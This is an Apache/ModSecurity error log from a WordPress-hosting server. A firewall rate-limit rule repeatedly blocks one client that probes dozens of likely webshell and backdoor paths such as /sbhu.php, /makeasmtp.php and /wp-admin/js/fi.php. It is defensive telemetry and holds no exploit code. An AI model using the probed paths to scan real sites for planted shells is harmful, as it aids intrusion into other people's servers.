[Fri Apr 24 01:51:41.903038 2026] [:error] [pid 42972:tid 43025] [client 74.248.129.192:9630] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aepcLcOAb-3sOknsk4fDlgAAAEk"]
[Fri Apr 24 01:51:42.421390 2026] [:error] [pid 65000:tid 65045] [client 74.248.129.192:63849] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aepcLr6vRb9j6psK2ZZ8lwAAAgw"]
[Fri Apr 24 01:51:42.960732 2026] [:error] [pid 43083:tid 43093] [client 74.248.129.192:65301] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aepcLjC5hrvNXosL83KtfgAAAMg"]
[Fri Apr 24 01:51:43.509763 2026] [:error] [pid 65000:tid 65046] [client 74.248.129.192:64855] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aepcL76vRb9j6psK2ZZ8mwAAAg0"]
[Fri Apr 24 01:51:44.055042 2026] [:error] [pid 42972:tid 43031] [client 74.248.129.192:63407] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aepcMMOAb-3sOknsk4fDmQAAAE8"]
[Fri Apr 24 01:51:44.595353 2026] [:error] [pid 65000:tid 65049] [client 74.248.129.192:65311] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aepcML6vRb9j6psK2ZZ8nwAAAhA"]
[Fri Apr 24 01:51:45.210598 2026] [:error] [pid 65000:tid 65038] [client 74.248.129.192:64957] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aepcMb6vRb9j6psK2ZZ8pAAAAgU"]
[Fri Apr 24 01:51:45.766558 2026] [:error] [pid 42973:tid 43047] [client 74.248.129.192:64918] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aepcMW6I0QqmmmLTHE2ECQAAAIQ"]
[Fri Apr 24 01:51:46.305484 2026] [:error] [pid 65000:tid 65052] [client 74.248.129.192:38052] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aepcMr6vRb9j6psK2ZZ8rAAAAhM"]
[Fri Apr 24 01:51:46.853890 2026] [:error] [pid 65000:tid 65050] [client 74.248.129.192:18793] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aepcMr6vRb9j6psK2ZZ8sgAAAhE"]
[Fri Apr 24 01:51:47.431886 2026] [:error] [pid 42972:tid 43027] [client 74.248.129.192:18758] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aepcM8OAb-3sOknsk4fDnwAAAEs"]
[Fri Apr 24 01:51:47.971880 2026] [:error] [pid 42972:tid 43021] [client 74.248.129.192:38032] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aepcM8OAb-3sOknsk4fDoQAAAEU"]
[Fri Apr 24 01:51:48.495105 2026] [:error] [pid 42972:tid 43025] [client 74.248.129.192:38048] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aepcNMOAb-3sOknsk4fDpgAAAEk"]
[Fri Apr 24 01:51:49.046869 2026] [:error] [pid 59700:tid 59721] [client 74.248.129.192:63858] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aepcNZXyGZJFeAIDWtl3dgAAAVM"]
[Fri Apr 24 01:51:49.566062 2026] [:error] [pid 42972:tid 43019] [client 74.248.129.192:64914] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepcNcOAb-3sOknsk4fDqAAAAEM"]
[Fri Apr 24 01:51:50.183647 2026] [:error] [pid 42972:tid 43037] [client 74.248.129.192:18768] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepcNsOAb-3sOknsk4fDqgAAAFU"]
[Fri Apr 24 01:51:50.731732 2026] [:error] [pid 42972:tid 43020] [client 74.248.129.192:65246] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepcNsOAb-3sOknsk4fDrQAAAEQ"]
[Fri Apr 24 01:51:51.272310 2026] [:error] [pid 64998:tid 65012] [client 74.248.129.192:63827] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepcN4V5EysYcTLjmwg0RQAAAco"]
[Fri Apr 24 01:51:51.862194 2026] [:error] [pid 65000:tid 65055] [client 74.248.129.192:65254] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aepcN76vRb9j6psK2ZZ8wAAAAhY"]
[Fri Apr 24 01:51:52.451725 2026] [:error] [pid 65000:tid 65044] [client 74.248.129.192:64380] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aepcOL6vRb9j6psK2ZZ8xAAAAgs"]
[Fri Apr 24 01:51:53.005898 2026] [:error] [pid 65000:tid 65037] [client 74.248.129.192:64418] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aepcOb6vRb9j6psK2ZZ8yAAAAgQ"]
[Fri Apr 24 01:51:53.558998 2026] [:error] [pid 25635:tid 25649] [client 74.248.129.192:63816] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aepcOcRxv6UsgRGKB3JRsgAAAQo"]
[Fri Apr 24 01:51:54.143487 2026] [:error] [pid 59700:tid 59717] [client 74.248.129.192:9662] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aepcOpXyGZJFeAIDWtl3fwAAAU8"]
[Fri Apr 24 01:51:54.705831 2026] [:error] [pid 64967:tid 64971] [client 74.248.129.192:65336] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aepcOoAV4GfOOdX8QzqZHAAAAYI"]
[Fri Apr 24 01:51:55.247607 2026] [:error] [pid 42973:tid 43066] [client 74.248.129.192:63915] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aepcO26I0QqmmmLTHE2EDgAAAJc"]
[Fri Apr 24 01:51:55.765214 2026] [:error] [pid 43083:tid 43098] [client 74.248.129.192:18811] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aepcOzC5hrvNXosL83KthwAAAM0"]
[Fri Apr 24 01:51:56.291689 2026] [:error] [pid 59700:tid 59704] [client 74.248.129.192:63400] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aepcPJXyGZJFeAIDWtl3gQAAAUI"]
[Fri Apr 24 01:51:56.831815 2026] [:error] [pid 46953:tid 46979] [client 74.248.129.192:65265] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aepcPEnlpdHh-P6wKbp6BwAAAlY"]
[Fri Apr 24 01:51:57.387151 2026] [:error] [pid 42972:tid 43027] [client 74.248.129.192:65227] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aepcPcOAb-3sOknsk4fDsQAAAEs"]
[Fri Apr 24 01:51:57.947380 2026] [:error] [pid 59700:tid 59707] [client 74.248.129.192:64852] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aepcPZXyGZJFeAIDWtl3hwAAAUU"]
[Fri Apr 24 01:51:58.502470 2026] [:error] [pid 42972:tid 43018] [client 74.248.129.192:64326] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aepcPsOAb-3sOknsk4fDtAAAAEI"]
[Fri Apr 24 01:51:59.060946 2026] [:error] [pid 59700:tid 59711] [client 74.248.129.192:18767] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aepcP5XyGZJFeAIDWtl3jQAAAUk"]
[Fri Apr 24 01:51:59.619812 2026] [:error] [pid 64998:tid 65005] [client 74.248.129.192:64907] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aepcP4V5EysYcTLjmwg0UAAAAcM"]
[Fri Apr 24 01:52:00.142126 2026] [:error] [pid 43083:tid 43109] [client 74.248.129.192:63420] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aepcQDC5hrvNXosL83KtiwAAANg"]
[Fri Apr 24 01:52:00.723612 2026] [:error] [pid 42972:tid 43020] [client 74.248.129.192:65218] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aepcQMOAb-3sOknsk4fDtQAAAEQ"]
[Fri Apr 24 01:52:01.298150 2026] [:error] [pid 42973:tid 43045] [client 74.248.129.192:64897] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aepcQW6I0QqmmmLTHE2EEgAAAII"]
[Fri Apr 24 01:52:01.834730 2026] [:error] [pid 46953:tid 46976] [client 74.248.129.192:18752] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aepcQUnlpdHh-P6wKbp6DgAAAlQ"]
[Fri Apr 24 01:52:02.380040 2026] [:error] [pid 42971:tid 43004] [client 74.248.129.192:63370] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Fri Apr 24 01:52:02.898568 2026] [:error] [pid 42971:tid 42987] [client 74.248.129.192:63370] File does not exist: /usr/local/apache/htdocs/suspended-page/fff.php
[Fri Apr 24 01:52:03.420920 2026] [:error] [pid 42971:tid 42995] [client 74.248.129.192:63370] File does not exist: /usr/local/apache/htdocs/suspended-page/we.php
[Fri Apr 24 01:52:03.682816 2026] [:error] [pid 42971:tid 43003] [client 74.248.129.192:63370] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Fri Apr 24 01:52:03.941101 2026] [:error] [pid 42971:tid 43000] [client 74.248.129.192:63370] File does not exist: /usr/local/apache/htdocs/suspended-page/admin1.php
[Fri Apr 24 01:52:04.465313 2026] [:error] [pid 42971:tid 43007] [client 74.248.129.192:63370] File does not exist: /usr/local/apache/htdocs/suspended-page/BDKR28WP.php
[Fri Apr 24 01:52:05.242514 2026] [:error] [pid 42971:tid 43002] [client 74.248.129.192:63370] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aepcRTEP2_5RswrH8bFRPgAAABA"]
[Fri Apr 24 01:52:05.762954 2026] [:error] [pid 64998:tid 65021] [client 74.248.129.192:63836] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aepcRYV5EysYcTLjmwg0XAAAAdM"]
[Fri Apr 24 01:52:06.280838 2026] [:error] [pid 42972:tid 43033] [client 74.248.129.192:64891] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aepcRsOAb-3sOknsk4fDuAAAAFE"]
[Fri Apr 24 01:52:06.820403 2026] [:error] [pid 42972:tid 43036] [client 74.248.129.192:64896] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aepcRsOAb-3sOknsk4fDuwAAAFQ"]
[Fri Apr 24 01:52:07.397636 2026] [:error] [pid 42971:tid 43008] [client 74.248.129.192:18786] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aepcRzEP2_5RswrH8bFRQAAAABY"]
[Fri Apr 24 01:52:07.950277 2026] [:error] [pid 65000:tid 65037] [client 74.248.129.192:65318] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aepcR76vRb9j6psK2ZZ81wAAAgQ"]
[Fri Apr 24 01:52:08.494545 2026] [:error] [pid 65000:tid 65039] [client 74.248.129.192:64917] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aepcSL6vRb9j6psK2ZZ82QAAAgY"]
[Fri Apr 24 01:52:09.007371 2026] [:error] [pid 65000:tid 65054] [client 74.248.129.192:64338] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aepcSb6vRb9j6psK2ZZ83QAAAhU"]
[Fri Apr 24 01:52:09.519110 2026] [:error] [pid 64998:tid 65019] [client 74.248.129.192:64959] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepcSYV5EysYcTLjmwg0ZwAAAdE"]
[Fri Apr 24 01:52:10.072854 2026] [:error] [pid 64998:tid 65011] [client 74.248.129.192:65317] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepcSoV5EysYcTLjmwg0bAAAAck"]
[Fri Apr 24 01:52:10.705531 2026] [:error] [pid 64998:tid 65020] [client 74.248.129.192:65287] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepcSoV5EysYcTLjmwg0cwAAAdI"]
[Fri Apr 24 01:52:11.272283 2026] [:error] [pid 42971:tid 43009] [client 74.248.129.192:38039] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepcSzEP2_5RswrH8bFRRwAAABc"]
[Fri Apr 24 01:52:11.852937 2026] [:error] [pid 42972:tid 43024] [client 74.248.129.192:64848] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aepcS8OAb-3sOknsk4fDvwAAAEg"]
[Fri Apr 24 01:52:12.369911 2026] [:error] [pid 42973:tid 43066] [client 74.248.129.192:63855] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aepcTG6I0QqmmmLTHE2EGgAAAJc"]
[Fri Apr 24 01:52:12.914861 2026] [:error] [pid 64998:tid 65002] [client 74.248.129.192:63914] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aepcTIV5EysYcTLjmwg0gQAAAcA"]
[Fri Apr 24 01:52:13.496433 2026] [:error] [pid 64998:tid 65011] [client 74.248.129.192:63902] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aepcTYV5EysYcTLjmwg0hgAAAck"]
